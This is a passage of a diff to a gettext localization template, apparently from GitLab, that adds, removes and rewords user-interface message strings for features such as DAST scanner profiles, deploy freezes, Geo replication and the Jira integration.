msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
